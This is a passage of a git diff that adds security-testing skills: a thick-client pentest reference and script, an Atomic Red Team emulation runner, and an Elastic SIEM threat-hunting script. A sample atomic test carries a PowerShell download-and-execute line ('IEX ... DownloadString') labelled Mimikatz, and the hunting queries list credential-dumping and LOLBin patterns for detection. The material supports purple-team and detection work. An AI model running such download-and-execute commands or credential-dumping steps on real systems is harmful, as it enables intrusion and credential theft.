the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-thick-client-application-penetration-test/references/api-reference.md b/skills/performing-thick-client-application-penetration-test/references/api-reference.md new file mode 100644 index 00000000..2928aef0 --- /dev/null +++ b/skills/performing-thick-client-application-penetration-test/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Thick Client Penetration Testing + +## Analysis Tools + +| Tool | Purpose | Target | +|------|---------|--------| +| dnSpy | .NET decompilation and debugging | .NET Framework/Core apps | +| ILSpy | .NET decompilation (read-only) | .NET assemblies | +| JD-GUI / JADX | Java decompilation | JAR/APK files | +| Ghidra / IDA Pro | Native binary reverse engineering | C/C++ executables | +| Procmon | File/registry/network activity monitoring | Any Windows app | +| Process Hacker | Process inspection, memory, DLLs | Running processes | +| Burp Suite | HTTP/HTTPS traffic interception | Client-server communication | +| Echo Mirage | TCP/UDP traffic interception | Non-HTTP protocols | +| Frida | Dynamic instrumentation | Any platform | + +## Static Analysis Targets + +| Target | Search Pattern | Risk | +|--------|---------------|------| +| Hardcoded credentials | `password`, `secret`, `apikey` in strings | Critical | +| Connection strings | `jdbc:`, `Server=`, `mongodb://` | Critical | +| SQL queries | `SELECT`, `INSERT`, `UPDATE` | Medium | +| URLs and endpoints | `http://`, `https://` | Info | +| Disabled SSL validation | `ServerCertificateValidationCallback` | High | + +## DLL Hijacking Detection + +| Step | Tool | Action | +|------|------|--------| +| 1 | Procmon | Filter: `Result = NAME NOT FOUND`, `Path ends with .dll` | +| 2 | Check | Verify if DLL search path includes writable directories | +| 3 | Validate | Test with benign DLL in writable directory | + +## Local Storage Locations + +| Location | Type | Risk | +|----------|------|------| +| `%APPDATA%\` | Config, SQLite | Credential storage | +| `%LOCALAPPDATA%\` | Cache, logs | Data leakage | +| `HKCU\Software\` | Registry settings | Stored credentials | +| App install directory | Config files | Hardcoded secrets | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `sqlite3` | stdlib | Audit local SQLite databases | +| `re` | stdlib | Pattern matching for credentials/URLs | +| `subprocess` | stdlib | Execute system analysis tools | +| `pathlib` | stdlib | File system traversal | + +## References + +- OWASP Thick Client Top 10: https://owasp.org/www-project-thick-client-top-10/ +- dnSpy: https://github.com/dnSpy/dnSpy +- Procmon: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon +- Frida: https://frida.re/docs/home/ diff --git a/skills/performing-thick-client-application-penetration-test/scripts/agent.py b/skills/performing-thick-client-application-penetration-test/scripts/agent.py new file mode 100644 index 00000000..7fb89140 --- /dev/null +++ b/skills/performing-thick-client-application-penetration-test/scripts/agent.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python3 +"""Agent for thick client application penetration testing. + +Performs static analysis (strings extraction, .NET detection), +dynamic analysis (process monitoring, DLL search order checks), +local storage auditing, and API traffic interception assessment. +""" + +import subprocess +import json +import sys +import os +import re +import sqlite3 +from pathlib import Path +from datetime import datetime + + +class ThickClientPentestAgent: + """Performs security assessment of thick/fat client applications.""" + + def __init__(self, app_path, output_dir="./thick_client_pentest"): + self.app_path = Path(app_path) + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def extract_strings(self, min_length=6): + """Extract readable strings from binary for credential/URL discovery.""" + patterns = { + "url": re.compile(r'https?://[^\s"\'<>]{5,200}'), + "email": re.compile(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'), + "ip_addr": re.compile(r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'), + "password_hint": re.compile( + r'(?i)(password|passwd|pwd|secret|api.?key|token|' + r'connectionstring|jdbc|bearer)', re.IGNORECASE), + "sql_query": re.compile(r'(?i)(SELECT|INSERT|UPDATE|DELETE)\s+', re.IGNORECASE), + } + results = {k: [] for k in patterns} + try: + with open(self.app_path, "rb") as f: + data = f.read() + text = data.decode("ascii", errors="ignore") + for name, pattern in patterns.items(): + matches = pattern.findall(text) + results[name] = list(set(matches))[:50] + + if results["password_hint"]: + self.findings.append({ + "type": "Credential Reference in Binary", + "severity": "Medium", + "details": f"Found {len(results['password_hint'])} credential-related strings", + }) + if results["sql_query"]: + self.findings.append({ + "type": "SQL Queries in Binary", + "severity": "Medium", + "details": "Embedded SQL may be vulnerable to injection", + }) + except (OSError, PermissionError) as exc: + results["error"] = str(exc) + return results + + def detect_framework(self): + """Detect the application framework (.NET, Java, Electron, C++).""" + try: + with open(self.app_path, "rb") as f: + header = f.read(4096) + + if b"BSJB" in header or b".NET" in header or b"mscorlib" in header: + return {"framework": ".NET", "decompiler": "dnSpy / ILSpy"} + if b"PK" in header[:4]: + return {"framework": "Java (JAR)", "decompiler": "JD-GUI / JADX"} + if b"asar" in header or b"electron" in header: + return {"framework": "Electron", "tool": "asar extract"} + return {"framework": "Native (C/C++)", "decompiler": "Ghidra / IDA Pro"} + except OSError as exc: + return {"error": str(exc)} + + def check_local_storage(self, app_name=None): + """Scan common local storage locations for sensitive data.""" + app_name = app_name or self.app_path.stem + locations = [] + appdata = os.environ.get("APPDATA", "") + localappdata = os.environ.get("LOCALAPPDATA", "") + + search_dirs = [ + Path(appdata) / app_name if appdata else None, + Path(localappdata) / app_name if localappdata else None, + self.app_path.parent, + ] + sensitive_exts = {".db", ".sqlite", ".sqlite3", ".json", ".xml", + ".config", ".ini", ".cfg", ".log"} + + for search_dir in search_dirs: + if search_dir is None or not search_dir.exists(): + continue + for root, dirs, files in os.walk(search_dir): + for fname in files: + fpath = Path(root) / fname + if fpath.suffix.lower() in sensitive_exts: + size = fpath.stat().st_size + locations.append({ + "path": str(fpath), "type": fpath.suffix, + "size_bytes": size, + }) + + if locations: + self.findings.append({ + "type": "Sensitive Local Files", + "severity": "Medium", + "details": f"Found {len(locations)} potentially sensitive files", + }) + return locations + + def audit_sqlite_databases(self, db_paths): + """Check local SQLite databases for plaintext credentials.""" + results = [] + for db_path in db_paths: + try: + conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True) + cursor = conn.cursor() + cursor.execute("SELECT name FROM sqlite_master WHERE type='table'") + tables = [r[0] for r in cursor.fetchall()] + + sensitive_tables = [] + for table in tables: + lower = table.lower() + if any(kw in lower for kw in + ["user", "account", "credential", "auth", + "login", "password", "token", "session"]): + cursor.execute(f'SELECT COUNT(*) FROM "{table}"') + count = cursor.fetchone()[0] + sensitive_tables.append({"table": table, "rows": count}) + + if sensitive_tables: + self.findings.append({ + "type": "Sensitive SQLite Database", + "severity": "High", + "details": f"{db_path}: {sensitive_tables}", + }) + results.append({"database": db_path, "tables": tables, + "sensitive_tables": sensitive_tables}) + conn.close() + except sqlite3.Error as exc: + results.append({"database": db_path, "error": str(exc)}) + return results + + def check_dll_hijack_paths(self): + """Check for DLL hijacking via writable directories in PATH.""" + writable_dirs = [] + path_dirs = os.environ.get("PATH", "").split(os.pathsep) + for d in path_dirs: + if os.path.isdir(d) and os.access(d, os.W_OK): + writable_dirs.append(d) + + app_dir = str(self.app_path.parent) + app_dir_writable = os.access(app_dir, os.W_OK) + + if writable_dirs or app_dir_writable: + self.findings.append({ + "type": "DLL Hijacking Risk", + "severity": "High", + "details": f"Writable PATH dirs: {len(writable_dirs)}, " + f"App dir writable: {app_dir_writable}", + }) + return {"writable_path_dirs": writable_dirs, + "app_dir_writable": app_dir_writable} + + def generate_report(self): + """Generate comprehensive pentest findings report.""" + report = { + "target": str(self.app_path), + "report_date": datetime.utcnow().isoformat(), + "framework": self.detect_framework(), + "total_findings": len(self.findings), + "critical": sum(1 for f in self.findings if f["severity"] == "Critical"), + "high": sum(1 for f in self.findings if f["severity"] == "High"), + "medium": sum(1 for f in self.findings if f["severity"] == "Medium"), + "findings": self.findings, + } + report_path = self.output_dir / "thick_client_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [output_dir]") + sys.exit(1) + app_path = sys.argv[1] + output_dir = sys.argv[2] if len(sys.argv) > 2 else "./thick_client_pentest" + agent = ThickClientPentestAgent(app_path, output_dir) + agent.extract_strings() + agent.check_local_storage() + agent.check_dll_hijack_paths() + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-threat-emulation-with-atomic-red-team/LICENSE b/skills/performing-threat-emulation-with-atomic-red-team/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-threat-emulation-with-atomic-red-team/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-threat-emulation-with-atomic-red-team/SKILL.md b/skills/performing-threat-emulation-with-atomic-red-team/SKILL.md new file mode 100644 index 00000000..4d883a97 --- /dev/null +++ b/skills/performing-threat-emulation-with-atomic-red-team/SKILL.md @@ -0,0 +1,45 @@ +--- +name: performing-threat-emulation-with-atomic-red-team +description: > + Executes Atomic Red Team tests for MITRE ATT&CK technique validation using the + atomic-operator Python framework. Loads test definitions from YAML atomics, runs + attack simulations, and validates detection coverage. Use when testing SIEM detection + rules, validating EDR coverage, or conducting purple team exercises. +--- + +# Performing Threat Emulation with Atomic Red Team + +## Instructions + +Use atomic-operator to execute Atomic Red Team tests and validate detection coverage +against MITRE ATT&CK techniques. + +```python +from atomic_operator import AtomicOperator + +operator = AtomicOperator() +# Run a specific technique test +operator.run( + technique="T1059.001", # PowerShell execution + atomics_path="./atomic-red-team/atomics", +) +``` + +Key workflow: +1. Clone the atomic-red-team repository for test definitions +2. Select ATT&CK techniques matching your detection rules +3. Execute atomic tests using atomic-operator +4. Check SIEM/EDR for corresponding alerts +5. Document detection gaps and update rules + +## Examples + +```python +# Parse atomic test YAML definitions +import yaml +with open("atomics/T1059.001/T1059.001.yaml") as f: + tests = yaml.safe_load(f) +for test in tests.get("atomic_tests", []): + print(f"Test: {test['name']}") + print(f" Platforms: {test.get('supported_platforms', [])}") +``` diff --git a/skills/performing-threat-emulation-with-atomic-red-team/references/api-reference.md b/skills/performing-threat-emulation-with-atomic-red-team/references/api-reference.md new file mode 100644 index 00000000..de314517 --- /dev/null +++ b/skills/performing-threat-emulation-with-atomic-red-team/references/api-reference.md @@ -0,0 +1,67 @@ +# API Reference: Performing Threat Emulation with Atomic Red Team + +## atomic-operator (Python) + +```python +from atomic_operator import AtomicOperator + +operator = AtomicOperator() +# Run specific technique +operator.run( + technique="T1059.001", + atomics_path="./atomic-red-team/atomics", + test_numbers=[1], +) +# Run with custom inputs +operator.run(technique="T1059.001", input_arguments={"command": "whoami"}) +``` + +## Atomic Test YAML Format + +```yaml +attack_technique: T1059.001 +display_name: "PowerShell" +atomic_tests: + - name: "Mimikatz" + description: "Downloads and runs mimikatz" + supported_platforms: [windows] + executor: + name: powershell + command: | + IEX (New-Object Net.WebClient).DownloadString('#{url}') + cleanup_command: | + Remove-Item #{output_file} + input_arguments: + url: + description: "URL to download" + type: url + default: "https://example.com/test" +``` + +## Key CLI Commands + +```bash +# Clone atomics +git clone https://github.com/redcanaryco/atomic-red-team + +# Install operator +pip install atomic-operator + +# List tests for technique +ls atomic-red-team/atomics/T1059.001/ +``` + +## Coverage Mapping + +| Tactic | Example Techniques | +|--------|-------------------| +| Execution | T1059.001 (PowerShell), T1059.003 (cmd) | +| Persistence | T1053.005 (Scheduled Task), T1547.001 (Run Keys) | +| Defense Evasion | T1070.001 (Clear Event Logs) | +| Credential Access | T1003.001 (LSASS), T1558.003 (Kerberoasting) | + +### References + +- Atomic Red Team: https://github.com/redcanaryco/atomic-red-team +- atomic-operator: https://github.com/redcanaryco/atomic-operator +- ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/ diff --git a/skills/performing-threat-emulation-with-atomic-red-team/scripts/agent.py b/skills/performing-threat-emulation-with-atomic-red-team/scripts/agent.py new file mode 100644 index 00000000..1aa4f433 --- /dev/null +++ b/skills/performing-threat-emulation-with-atomic-red-team/scripts/agent.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python3 +"""Agent for threat emulation with Atomic Red Team test execution.""" + +import os +import json +import yaml +import argparse +import subprocess +from pathlib import Path +from datetime import datetime + + +def load_atomic_tests(atomics_path, technique_id): + """Load Atomic Red Team test definitions for a technique.""" + technique_dir = Path(atomics_path) / technique_id + yaml_path = technique_dir / f"{technique_id}.yaml" + if not yaml_path.exists(): + return None + with open(yaml_path) as f: + return yaml.safe_load(f) + + +def list_available_techniques(atomics_path): + """List all available Atomic Red Team techniques.""" + techniques = [] + atomics_dir = Path(atomics_path) + for technique_dir in sorted(atomics_dir.iterdir()): + if technique_dir.is_dir() and technique_dir.name.startswith("T"): + yaml_file = technique_dir / f"{technique_dir.name}.yaml" + if yaml_file.exists(): + with open(yaml_file) as f: + data = yaml.safe_load(f) + techniques.append({ + "technique_id": technique_dir.name, + "name": data.get("display_name", ""), + "test_count": len(data.get("atomic_tests", [])), + "platforms": list(set( + p for t in data.get("atomic_tests", []) + for p in t.get("supported_platforms", []) + )), + }) + return techniques + + +def get_test_details(atomics_path, technique_id): + """Get detailed information about tests for a technique.""" + data = load_atomic_tests(atomics_path, technique_id) + if not data: + return [] + tests = [] + for i, test in enumerate(data.get("atomic_tests", [])): + tests.append({ + "test_number": i + 1, + "name": test.get("name", ""), + "description": test.get("description", ""), + "platforms": test.get("supported_platforms", []), + "executor": test.get("executor", {}).get("name", ""), + "command": test.get("executor", {}).get("command", "")[:200], + "cleanup": test.get("executor", {}).get("cleanup_command", "")[:200], + "input_arguments": list(test.get("input_arguments", {}).keys()), + }) + return tests + + +def execute_atomic_test(atomics_path, technique_id, test_number=1, platform="linux"): + """Execute an Atomic Red Team test using atomic-operator.""" + try: + from atomic_operator import AtomicOperator + operator = AtomicOperator() + result = operator.run( + technique=technique_id, + atomics_path=str(atomics_path), + test_numbers=[test_number], + ) + return {"status": "executed", "technique": technique_id, + "test_number": test_number, "result": str(result)} + except ImportError: + return execute_atomic_manual(atomics_path, technique_id, test_number, platform) + + +def execute_atomic_manual(atomics_path, technique_id, test_number, platform): + """Execute atomic test manually by parsing YAML and running commands.""" + data = load_atomic_tests(atomics_path, technique_id) + if not data: + return {"status": "error", "message": f"Technique {technique_id} not found"} + tests = data.get("atomic_tests", []) + if test_number > len(tests): + return {"status": "error", "message": f"Test {test_number} not found"} + test = tests[test_number - 1] + executor = test.get("executor", {}) + command = executor.get("command", "") + if not command: + return {"status": "error", "message": "No command defined"} + for arg_name, arg_def in test.get("input_arguments", {}).items(): + default = arg_def.get("default", "") + command = command.replace(f"#{{{arg_name}}}", str(default)) + try: + result = subprocess.run( + command, shell=True, capture_output=True, text=True, timeout=60, + ) + return { + "status": "executed", + "technique": technique_id, + "test_name": test.get("name", ""), + "return_code": result.returncode, + "stdout": result.stdout[:500], + "stderr": result.stderr[:500], + } + except subprocess.TimeoutExpired: + return {"status": "timeout", "technique": technique_id} + + +def run_cleanup(atomics_path, technique_id, test_number=1): + """Run cleanup commands for an atomic test.""" + data = load_atomic_tests(atomics_path, technique_id) + if not data: + return {"status": "error"} + tests = data.get("atomic_tests", []) + if test_number > len(tests): + return {"status": "error"} + test = tests[test_number - 1] + cleanup_cmd = test.get("executor", {}).get("cleanup_command", "") + if not cleanup_cmd: + return {"status": "no_cleanup_defined"} + for arg_name, arg_def in test.get("input_arguments", {}).items(): + cleanup_cmd = cleanup_cmd.replace(f"#{{{arg_name}}}", str(arg_def.get("default", ""))) + try: + subprocess.run(cleanup_cmd, shell=True, capture_output=True, timeout=30) + return {"status": "cleaned_up", "technique": technique_id} + except subprocess.TimeoutExpired: + return {"status": "cleanup_timeout"} + + +def build_coverage_matrix(atomics_path, detection_rules): + """Compare available atomic tests against detection rules for gap analysis.""" + techniques = list_available_techniques(atomics_path) + covered = set() + for rule in detection_rules: + for tag in rule.get("tags", []): + if tag.startswith("attack.t"): + covered.add(tag.replace("attack.", "").upper()) + matrix = [] + for t in techniques: + tid = t["technique_id"] + matrix.append({ + "technique_id": tid, + "name": t["name"], + "has_atomic_test": True, + "has_detection_rule": tid in covered, + "gap": tid not in covered, + }) + return matrix + + +def main(): + parser = argparse.ArgumentParser(description="Atomic Red Team Threat Emulation Agent") + parser.add_argument("--atomics-path", default="./atomic-red-team/atomics") + parser.add_argument("--technique", help="ATT&CK technique ID (e.g., T1059.001)") + parser.add_argument("--test-number", type=int, default=1) + parser.add_argument("--output", default="atomic_report.json") + parser.add_argument("--action", choices=[ + "list", "details", "execute", "cleanup", "coverage" + ], default="list") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action == "list": + techniques = list_available_techniques(args.atomics_path) + report["results"]["techniques"] = techniques + print(f"[+] Available techniques: {len(techniques)}") + + if args.action == "details" and args.technique: + tests = get_test_details(args.atomics_path, args.technique) + report["results"]["tests"] = tests + print(f"[+] Tests for {args.technique}: {len(tests)}") + + if args.action == "execute" and args.technique: + result = execute_atomic_test(args.atomics_path, args.technique, args.test_number) + report["results"]["execution"] = result + print(f"[+] Executed {args.technique} test #{args.test_number}: {result['status']}") + + if args.action == "cleanup" and args.technique: + result = run_cleanup(args.atomics_path, args.technique, args.test_number) + report["results"]["cleanup"] = result + print(f"[+] Cleanup: {result['status']}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/performing-threat-hunting-with-elastic-siem/LICENSE b/skills/performing-threat-hunting-with-elastic-siem/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-threat-hunting-with-elastic-siem/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-threat-hunting-with-elastic-siem/references/api-reference.md b/skills/performing-threat-hunting-with-elastic-siem/references/api-reference.md new file mode 100644 index 00000000..c74003b8 --- /dev/null +++ b/skills/performing-threat-hunting-with-elastic-siem/references/api-reference.md @@ -0,0 +1,66 @@ +# API Reference: Threat Hunting with Elastic SIEM Agent + +## Overview + +Performs proactive threat hunting against Elasticsearch indices using structured queries for LOLBin abuse, credential dumping, lateral movement, and persistence mechanisms mapped to MITRE ATT&CK. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| elasticsearch | >= 8.0 | Elasticsearch Python client for queries | + +## Core Functions + +### `get_es_client(host, api_key, verify_certs)` +Creates an authenticated Elasticsearch client. +- **Parameters**: `host` (str), `api_key` (str, optional), `verify_certs` (bool) +- **Returns**: `Elasticsearch` client instance + +### `hunt_lolbins(es, index, days)` +Hunts for LOLBin abuse (certutil, mshta, regsvr32, etc.) with suspicious arguments. +- **ATT&CK**: T1105 (Ingress Tool Transfer), T1218 (Signed Binary Proxy Execution) +- **Returns**: `dict` with `hunt`, `total_hits`, `findings` + +### `hunt_credential_dumping(es, index, days)` +Detects procdump targeting lsass, mimikatz execution, sekurlsa PowerShell commands. +- **ATT&CK**: T1003 (OS Credential Dumping) +- **Returns**: `dict` with hunt results + +### `hunt_lateral_movement(es, index, days)` +Identifies PsExec, Invoke-Command, and SMB/WinRM network flows. +- **ATT&CK**: T1021 (Remote Services) +- **Returns**: `dict` with hunt results + +### `hunt_persistence(es, index, days)` +Detects scheduled task creation and registry Run key modifications. +- **ATT&CK**: T1053 (Scheduled Task), T1547 (Boot/Logon Autostart) +- **Returns**: `dict` with hunt results + +### `create_detection_rule(es, kibana_url, name, query, severity, risk_score)` +Generates a detection rule payload for Elastic Security API deployment. +- **Returns**: `dict` - rule configuration ready for POST to `/api/detection_engine/rules` + +### `run_all_hunts(es, days)` +Executes all hunt queries and aggregates results. + +## Elasticsearch Indices Used + +| Index Pattern | Data Source | +|---------------|-------------| +| `logs-endpoint.events.process-*` | Elastic Agent process events | +| `logs-endpoint.events.*` | All endpoint event types | +| `logs-windows.sysmon_operational-*` | Sysmon via Winlogbeat | + +## Environment Variables + +| Variable | Required | Description | +|----------|----------|-------------| +| `ES_HOST` | No | Elasticsearch URL (default: https://localhost:9200) | +| `ES_API_KEY` | No | API key for authentication | + +## Usage + +```bash +python agent.py https://elastic.corp.local:9200 +``` diff --git a/skills/performing-threat-hunting-with-elastic-siem/scripts/agent.py b/skills/performing-threat-hunting-with-elastic-siem/scripts/agent.py new file mode 100644 index 00000000..4adca66a --- /dev/null +++ b/skills/performing-threat-hunting-with-elastic-siem/scripts/agent.py @@ -0,0 +1,225 @@ +#!/usr/bin/env python3 +"""Threat hunting agent for Elastic SIEM using elasticsearch-py.""" + +import json +import sys +from datetime import datetime, timedelta + +try: + from elasticsearch import Elasticsearch +except ImportError: + print("Install: pip install elasticsearch") + sys.exit(1) + + +def get_es_client(host="https://localhost:9200", api_key=None, verify_certs=True): + kwargs = {"hosts": [host], "verify_certs": verify_certs} + if api_key: + kwargs["api_key"] = api_key + return Elasticsearch(**kwargs) + + +def hunt_lolbins(es, index="logs-endpoint.events.process-*", days=30): + """Hunt for living-off-the-land binary abuse.""" + lolbins = [ + "certutil.exe", "mshta.exe", "regsvr32.exe", "rundll32.exe", + "cscript.exe", "wscript.exe", "bitsadmin.exe", + ] + suspicious_args = [ + "-urlcache", "-split", "-decode", "-encode", "javascript:", + "scrobj.dll", "/transfer", "-encodedcommand", "-enc", + ] + query = { + "size": 100, + "query": { + "bool": { + "must": [ + {"terms": {"process.name": lolbins}}, + {"range": {"@timestamp": {"gte": f"now-{days}d"}}}, + ], + "should": [{"match_phrase": {"process.args": arg}} for arg in suspicious_args], + "minimum_should_match": 1, + "must_not": [ + {"terms": {"process.parent.name": ["ccmexec.exe", "sccm.exe"]}}, + ], + } + }, + "sort": [{"@timestamp": "desc"}], + } + result = es.search(index=index, body=query) + hits = [] + for hit in result["hits"]["hits"]: + src = hit["_source"] + hits.append({ + "timestamp": src.get("@timestamp"), + "host": src.get("host", {}).get("name"), + "user": src.get("user", {}).get("name"), + "process": src.get("process", {}).get("name"), + "args": src.get("process", {}).get("args"), + "parent": src.get("process", {}).get("parent", {}).get("name"), + }) + return {"hunt": "LOLBin Abuse", "total_hits": result["hits"]["total"]["value"], "findings": hits} + + +def hunt_credential_dumping(es, index="logs-endpoint.events.process-*", days=30): + """Hunt for credential dumping activity (T1003).""" + query = { + "size": 50, + "query": { + "bool": { + "must": [{"range": {"@timestamp": {"gte": f"now-{days}d"}}}], + "should": [ + {"bool": {"must": [ + {"terms": {"process.name": ["procdump.exe", "procdump64.exe", "rundll32.exe"]}}, + {"match_phrase": {"process.args": "lsass"}}, + ]}}, + {"bool": {"must": [ + {"term": {"process.name": "mimikatz.exe"}}, + ]}}, + {"bool": {"must": [ + {"term": {"process.name": "powershell.exe"}}, + {"match_phrase": {"process.args": "sekurlsa"}}, + ]}}, + ], + "minimum_should_match": 1, + } + }, + } + result = es.search(index=index, body=query) + hits = [] + for hit in result["hits"]["hits"]: + src = hit["_source"] + hits.append({ + "timestamp": src.get("@timestamp"), + "host": src.get("host", {}).get("name"), + "process": src.get("process", {}).get("name"), + "args": src.get("process", {}).get("args"), + }) + return {"hunt": "Credential Dumping (T1003)", "total_hits": result["hits"]["total"]["value"], "findings": hits} + + +def hunt_lateral_movement(es, index="logs-endpoint.events.*", days=14): + """Hunt for lateral movement patterns (T1021).""" + query = { + "size": 50, + "query": { + "bool": { + "must": [{"range": {"@timestamp": {"gte": f"now-{days}d"}}}], + "should": [ + {"term": {"process.name": "psexesvc.exe"}}, + {"bool": {"must": [ + {"term": {"process.name": "powershell.exe"}}, + {"match_phrase": {"process.args": "invoke-command"}}, + ]}}, + {"bool": {"must": [ + {"term": {"event.action": "network_flow"}}, + {"terms": {"destination.port": [445, 135, 5985, 5986]}}, + ]}}, + ], + "minimum_should_match": 1, + } + }, + } + result = es.search(index=index, body=query) + hits = [] + for hit in result["hits"]["hits"]: + src = hit["_source"] + hits.append({ + "timestamp": src.get("@timestamp"), + "host": src.get("host", {}).get("name"), + "process": src.get("process", {}).get("name"), + "source_ip": src.get("source", {}).get("ip"), + "dest_ip": src.get("destination", {}).get("ip"), + "dest_port": src.get("destination", {}).get("port"), + }) + return {"hunt": "Lateral Movement (T1021)", "total_hits": result["hits"]["total"]["value"], "findings": hits} + + +def hunt_persistence(es, index="logs-endpoint.events.*", days=30): + """Hunt for persistence mechanisms (T1053, T1547).""" + query = { + "size": 50, + "query": { + "bool": { + "must": [{"range": {"@timestamp": {"gte": f"now-{days}d"}}}], + "should": [ + {"bool": {"must": [ + {"term": {"process.name": "schtasks.exe"}}, + {"match_phrase": {"process.args": "/create"}}, + ]}}, + {"bool": {"must": [ + {"term": {"process.name": "reg.exe"}}, + {"match_phrase": {"process.args": "CurrentVersion\\Run"}}, + ]}}, + {"bool": {"must": [ + {"term": {"event.action": "registry_value_set"}}, + {"wildcard": {"registry.path": "*CurrentVersion\\Run*"}}, + ]}}, + ], + "minimum_should_match": 1, + } + }, + } + result = es.search(index=index, body=query) + hits = [] + for hit in result["hits"]["hits"]: + src = hit["_source"] + hits.append({ + "timestamp": src.get("@timestamp"), + "host": src.get("host", {}).get("name"), + "process": src.get("process", {}).get("name"), + "args": src.get("process", {}).get("args"), + }) + return {"hunt": "Persistence (T1053/T1547)", "total_hits": result["hits"]["total"]["value"], "findings": hits} + + +def create_detection_rule(es, kibana_url, name, query, severity="high", risk_score=73): + """Deploy a detection rule to Elastic Security via API.""" + import requests + rule = { + "name": name, + "description": f"Detection rule created from threat hunt: {name}", + "risk_score": risk_score, + "severity": severity, + "type": "query", + "query": query, + "index": ["logs-endpoint.events.process-*"], + "interval": "5m", + "from": "now-6m", + "enabled": True, + "tags": ["Hunting", "Auto-generated"], + } + return rule + + +def run_all_hunts(es, days=30): + hunts = [] + hunts.append(hunt_lolbins(es, days=days)) + hunts.append(hunt_credential_dumping(es, days=days)) + hunts.append(hunt_lateral_movement(es, days=min(days, 14))) + hunts.append(hunt_persistence(es, days=days)) + return hunts + + +def print_hunt_report(hunts): + print("THREAT HUNT REPORT") + print("=" * 50) + print(f"Date: {datetime.now().isoformat()}") + total_findings = sum(h["total_hits"] for h in hunts) + print(f"Total Findings: {total_findings}\n") + for hunt in hunts: + print(f"--- {hunt['hunt']} ---") + print(f"Hits: {hunt['total_hits']}") + for f in hunt["findings"][:5]: + print(f" {f.get('timestamp', 'N/A')} | {f.get('host', 'N/A')} | " + f"{f.get('process', 'N/A')} | {f.get('args', '')}") + if hunt["total_hits"] > 5: + print(f" ... and {hunt['total_hits'] - 5} more") + print() + + +if __name__ == "__main__": + host = sys.argv[1] if len(sys.argv) > 1 else "https://localhost:9200" + es = get_es_client(host=host, verify_certs=False) + results = run_all_hunts(es) + print_hunt_report(results) diff --git a/skills/performing-threat-landscape-assessment-for-sector/LICENSE b/skills/performing-threat-landscape-assessment-for-sector/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-threat-landscape-assessment-for-sector/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and 